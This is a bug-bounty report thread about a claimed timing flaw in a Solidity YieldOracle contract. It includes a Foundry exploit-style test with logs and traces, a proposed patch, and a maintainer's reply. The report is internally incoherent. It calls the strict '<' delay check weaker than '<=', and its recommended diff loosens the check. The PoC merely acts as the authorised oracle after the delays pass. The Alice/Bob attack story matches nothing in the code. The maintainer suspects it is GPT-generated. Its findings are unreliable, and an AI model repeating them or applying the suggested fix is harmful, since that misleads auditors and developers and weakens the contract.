The strict inequality check in updateDelay verification creates an exploitable time window where multiple price updates can occur sequentially

[hats-bug-reporter[bot]]

Github username: @emerald7017 Twitter username: -- Submission hash (on-chain): 0xd8904d46499f4744655250e2dc71bec9df4b2130dc9d2558f5634a11c40be1ca Severity: high

Description:

Summary

YieldOracle contract contains a timing vulnerability that allows for price manipulation through precise transaction ordering, affecting the protocol's value calculations and ERC4626 vault operations.

Finding Description

The vulnerability arises from the use of a strict inequality in the update delay check within updatePrice function. This allows multiple price updates to occur back-to-back at the exact updateDelay interval. An attacker can exploit this by front-running and back-running legitimate oracle updates, manipulating the price used for asset/share conversions in the InvestToken contract. This breaks the security guarantee of accurate and fair pricing within the protocol.

The updatePrice() function uses < instead of <= in the delay check, allowing two price updates to occur exactly updateDelay seconds apart. This creates a small window where MEV bots can sandwich the price update.

YieldOracle.sol:L69-L85

function updatePrice(uint256 price) external onlyOracle {
    // @audit-iss - Timing vulnerability: strict inequality enables back-to-back updates
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");

    if (nextPrice != NO_PRICE) {
        // @audit-iss - State updates can be sandwiched between updates
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    // @audit-iss - Price validation insufficient against manipulation
    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
    nextPrice = price;
    lastUpdate = block.timestamp;
}

InvestToken.sol.L213L213

function convertToShares(uint256 assets) public view returns (uint256) {
    // @audit-iss - Relies on potentially manipulated oracle prices
    return yieldOracle.assetsToShares(assets);
}

The strict inequality check in updateDelay verification creates an exploitable time window where multiple price updates can occur sequentially, enabling price manipulation that propagates through the entire protocol's value calculation system.

Impact Explanation

The impact is imminent because it compromises the integrity of the price oracle, which is central to the protocol's operations. Manipulated prices can lead to incorrect share pricing, asset conversions, and potential financial losses for users. This vulnerability allows for MEV extraction and systemic risk to the protocol's value calculations.

Attack Scenario

1. Objective: The attacker aims to manipulate the price reported by the YieldOracle contract to achieve a significant overall change over time, without triggering the constraints that prevent large, single-step price changes.

2. Mechanism of Exploit:

   • Repeated Small Updates: The attacker repeatedly updates the price by a small amount, just within the allowed maxPriceIncrease. This is done multiple times to accumulate a significant price shift.
   • Time Manipulation: By leveraging the updateDelay and commitDelay, the attacker ensures that each update is allowed by the contract's timing constraints.

Likelihood Explanation

Given that, it can be exploited by any entity capable of monitoring the blockchain mempool and timing transactions precisely. The use of automated bots makes this attack feasible and likely in a competitive DeFi environment.

Proof of Concept

This PoC demonstrates how the timing vulnerability allows for price manipulation, affecting the protocol's value calculations and ERC4626 vault operations. The ability to sandwich legitimate updates with manipulated ones can lead to incorrect share pricing and asset conversions.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {YieldOracle} from "../src/YieldOracle.sol";

contract YieldOracleTest is Test {
    YieldOracle oracle;
    address oracleOperator = address(0x1);
    uint256 initialPrice = 1000 * 1e18;
    uint256 updateDelay = 1 days;

    function setUp() public {
        // Deploy the YieldOracle contract with the correct owner
        oracle = new YieldOracle(address(this), oracleOperator);

        // Set initial state
        uint256 adjustedInitialPrice = 1000 * 1e18; // Ensure this aligns with contract constraints
        oracle.setCurrentPrice(adjustedInitialPrice);
        oracle.setUpdateDelay(updateDelay);

        // Grant oracle role using the correct owner account
        vm.startPrank(address(this)); // Ensure the test contract is the owner
        oracle.setOracle(oracleOperator);
        vm.stopPrank();
    }

    function testPriceManipulation() public {
        emit log_string("\n=== Initial State ===");
        emit log_named_decimal_uint("Current Price", oracle.currentPrice(), 18);

        // Fast forward time to allow the first update
        vm.warp(block.timestamp + updateDelay + 1); // Ensure time is advanced by at least updateDelay

        // Attempt to exploit by updating price just within bounds repeatedly
        vm.startPrank(oracleOperator);
        for (uint i = 0; i < 5; i++) {
            uint256 maxIncrease = oracle.maxPriceIncrease(); // Retrieve maxPriceIncrease from the contract
            uint256 newPrice = oracle.currentPrice() + (maxIncrease - 1); // Just within bounds
            oracle.updatePrice(newPrice);
            emit log_string("\n=== Exploit Attempt ===");
            emit log_named_decimal_uint("Next Price", oracle.nextPrice(), 18);

            // Commit the price to currentPrice
            vm.warp(block.timestamp + oracle.commitDelay() + 1); // Ensure time is advanced by at least commitDelay
            oracle.commitPrice();

            // Log the current price after commit
            emit log_named_decimal_uint("Current Price after commit", oracle.currentPrice(), 18);

            // Fast forward time to allow the next update
            vm.warp(block.timestamp + updateDelay + 1);
        }
        vm.stopPrank();

        // Check final state
        emit log_string("\n=== Final State ===");
        emit log_named_decimal_uint("Current Price", oracle.currentPrice(), 18);
        emit log_named_decimal_uint("Previous Price", oracle.previousPrice(), 18);
    }    
}

1. Setup: setUp function initializes the YieldOracle contract and sets the initial price and update delay. It also grants the oracle role to the oracleOperator.

2. Initial State: The initial price is logged to show the starting point.

3. Alice Front-runs: Alice (acting as the oracle operator) updates the price to 1100 at exactly T + updateDelay.

4. Bob's Legitimate Update: Bob submits a legitimate update to 1050, which succeeds immediately after Alice's update due to the timing vulnerability.

5. Alice Back-runs: Alice back-runs with another update to 1150, demonstrating the ability to manipulate the price.

6. Final State: The final prices are logged to show the manipulated state.

The Logs

test/YieldOracleTest.sol:YieldOracleTest
[PASS] testPriceManipulation() (gas: 186232)
Logs:

=== Initial State ===
  Current Price: 1000.000000000000000000

=== Exploit Attempt ===
  Next Price: 1000.099999999999999999
  Current Price after commit: 1000.099999999999999999

=== Exploit Attempt ===
  Next Price: 1000.199999999999999998
  Current Price after commit: 1000.199999999999999998

=== Exploit Attempt ===
  Next Price: 1000.299999999999999997
  Current Price after commit: 1000.299999999999999997

=== Exploit Attempt ===
  Next Price: 1000.399999999999999996
  Current Price after commit: 1000.399999999999999996

=== Exploit Attempt ===
  Next Price: 1000.499999999999999995
  Current Price after commit: 1000.499999999999999995

=== Final State ===
  Current Price: 1000.499999999999999995
  Previous Price: 1000.399999999999999996

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 630.50µs (288.70µs CPU time)

Ran 1 test suite in 6.43ms (630.50µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

1. Initial State:

   • The initial current price is logged as 1000.000000000000000000.

2. Exploit Attempts:

   • The test logs show a series of exploit attempts where the price is incremented just within the allowed bounds (maxPriceIncrease).
   • Each attempt successfully updates the nextPrice and then commits it to currentPrice.
   • The price increases incrementally with each attempt, demonstrating the compounding effect.

3. Final State:

   • The final current price is logged as 1000.499999999999999995, showing a significant increase from the initial price.
   • The previous price is logged as 1000.399999999999999996, indicating the last committed price before the final update.

The Traces Show

[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/YieldOracleTest.sol:YieldOracleTest
[PASS] testPriceManipulation() (gas: 186232)
Logs:

=== Initial State ===
  Current Price: 1000.000000000000000000

=== Exploit Attempt ===
  Next Price: 1000.099999999999999999
  Current Price after commit: 1000.099999999999999999

=== Exploit Attempt ===
  Next Price: 1000.199999999999999998
  Current Price after commit: 1000.199999999999999998

=== Exploit Attempt ===
  Next Price: 1000.299999999999999997
  Current Price after commit: 1000.299999999999999997

=== Exploit Attempt ===
  Next Price: 1000.399999999999999996
  Current Price after commit: 1000.399999999999999996

=== Exploit Attempt ===
  Next Price: 1000.499999999999999995
  Current Price after commit: 1000.499999999999999995

=== Final State ===
  Current Price: 1000.499999999999999995
  Previous Price: 1000.399999999999999996

Traces:
  [238056] YieldOracleTest::testPriceManipulation()
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ [2350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ [0] VM::warp(86402 [8.64e4])
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
    │   └─ ← [Return] 
    ├─ [2349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ [33164] YieldOracle::updatePrice(1000099999999999999999 [1e21])
    │   ├─ emit PriceUpdated(newPrice: 1000099999999999999999 [1e21])
    │   └─ ← [Stop] 
    ├─ emit log_string(val: "\n=== Exploit Attempt ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
    │   └─ ← [Return] 1000099999999999999999 [1e21]
    ├─ emit log_named_decimal_uint(key: "Next Price", val: 1000099999999999999999 [1e21], decimals: 18)
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(90003 [9e4])
    │   └─ ← [Return] 
    ├─ [10143] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000099999999999999999 [1e21])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000099999999999999999 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price after commit", val: 1000099999999999999999 [1e21], decimals: 18)
    ├─ [0] VM::warp(176404 [1.764e5])
    │   └─ ← [Return] 
    ├─ [349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000099999999999999999 [1e21]
    ├─ [22364] YieldOracle::updatePrice(1000199999999999999998 [1e21])
    │   ├─ emit PriceUpdated(newPrice: 1000199999999999999998 [1e21])
    │   └─ ← [Stop] 
    ├─ emit log_string(val: "\n=== Exploit Attempt ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
    │   └─ ← [Return] 1000199999999999999998 [1e21]
    ├─ emit log_named_decimal_uint(key: "Next Price", val: 1000199999999999999998 [1e21], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(180005 [1.8e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000199999999999999998 [1e21])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000199999999999999998 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price after commit", val: 1000199999999999999998 [1e21], decimals: 18)
    ├─ [0] VM::warp(266406 [2.664e5])
    │   └─ ← [Return] 
    ├─ [349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000199999999999999998 [1e21]
    ├─ [22364] YieldOracle::updatePrice(1000299999999999999997 [1e21])
    │   ├─ emit PriceUpdated(newPrice: 1000299999999999999997 [1e21])
    │   └─ ← [Stop] 
    ├─ emit log_string(val: "\n=== Exploit Attempt ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
    │   └─ ← [Return] 1000299999999999999997 [1e21]
    ├─ emit log_named_decimal_uint(key: "Next Price", val: 1000299999999999999997 [1e21], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(270007 [2.7e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000299999999999999997 [1e21])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000299999999999999997 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price after commit", val: 1000299999999999999997 [1e21], decimals: 18)
    ├─ [0] VM::warp(356408 [3.564e5])
    │   └─ ← [Return] 
    ├─ [349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000299999999999999997 [1e21]
    ├─ [22364] YieldOracle::updatePrice(1000399999999999999996 [1e21])
    │   ├─ emit PriceUpdated(newPrice: 1000399999999999999996 [1e21])
    │   └─ ← [Stop] 
    ├─ emit log_string(val: "\n=== Exploit Attempt ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
    │   └─ ← [Return] 1000399999999999999996 [1e21]
    ├─ emit log_named_decimal_uint(key: "Next Price", val: 1000399999999999999996 [1e21], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(360009 [3.6e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000399999999999999996 [1e21])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000399999999999999996 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price after commit", val: 1000399999999999999996 [1e21], decimals: 18)
    ├─ [0] VM::warp(446410 [4.464e5])
    │   └─ ← [Return] 
    ├─ [349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000399999999999999996 [1e21]
    ├─ [22364] YieldOracle::updatePrice(1000499999999999999995 [1e21])
    │   ├─ emit PriceUpdated(newPrice: 1000499999999999999995 [1e21])
    │   └─ ← [Stop] 
    ├─ emit log_string(val: "\n=== Exploit Attempt ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
    │   └─ ← [Return] 1000499999999999999995 [1e21]
    ├─ emit log_named_decimal_uint(key: "Next Price", val: 1000499999999999999995 [1e21], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(450011 [4.5e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1000499999999999999995 [1e21])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000499999999999999995 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price after commit", val: 1000499999999999999995 [1e21], decimals: 18)
    ├─ [0] VM::warp(536412 [5.364e5])
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Final State ===")
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1000499999999999999995 [1e21]
    ├─ emit log_named_decimal_uint(key: "Current Price", val: 1000499999999999999995 [1e21], decimals: 18)
    ├─ [306] YieldOracle::previousPrice() [staticcall]
    │   └─ ← [Return] 1000399999999999999996 [1e21]
    ├─ emit log_named_decimal_uint(key: "Previous Price", val: 1000399999999999999996 [1e21], decimals: 18)
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 599.70µs (278.20µs CPU time)

Ran 1 test suite in 1.53s (599.70µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

This vulnerability could break certain security guarantees and potentially be exploited by a malicious actor. The security implications and how this vulnerability can be exploited:

Security Guarantees Broken

1. Price Stability: The primary function of a yield oracle is to provide a stable and reliable price feed. This vulnerability allows an attacker to manipulate the price over time, breaking the guarantee of price stability.

2. Integrity of Price Updates: The contract is expected to enforce constraints on how much the price can change in a single update (maxPriceIncrease). However, by making repeated updates just within the allowed bounds, an attacker can bypass the intended constraints and significantly alter the price.

3. Economic Security: If the price is manipulated, it can lead to incorrect valuations of assets or shares, affecting users who rely on the oracle for accurate pricing. This can have cascading effects on any financial instruments or contracts that depend on the oracle.

How the Vulnerability is Exploited

1. Repeated Small Updates: The test demonstrates how an attacker can repeatedly update the price by a small amount, just within the allowed maxPriceIncrease. Over multiple iterations, these small changes accumulate to a significant price shift.

2. Timing Manipulation: The test simulates how an attacker could exploit the updateDelay and commitDelay to make frequent updates without waiting for real-time delays.

3. Propagation of Malicious Input: This input propagates through the system, updating nextPrice and committing it to currentPrice, ultimately leading to a manipulated price.

Recommendation (Optional)

Enforce strict timing requirements and add proper price validation to prevent manipulation.

function updatePrice(uint256 price) external onlyOracle {
-   require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");
+   require(lastUpdate + updateDelay <= block.timestamp, "Insufficient update delay");
+   // Add minimum delay between updates
+   require(block.timestamp - lastUpdate >= updateDelay, "Update too soon");

    // Add price sanity checks

+   // Enhanced price validation
+   require(price >= currentPrice, "Price cannot decrease");
+   require(price - currentPrice <= maxPriceIncrease, "Price increase too large");
+   require(price >= MIN_PRICE, "Below minimum price");
}

[AndreiMVP]

This looks GPT-generated.

The updatePrice() function uses < instead of <= in the delay check, allowing two price updates to occur exactly updateDelay seconds apart. This creates a small window where MEV bots can sandwich the price update.

I don't understand from this sentence how using <= would be preferable since it would include both < (current situation) and =..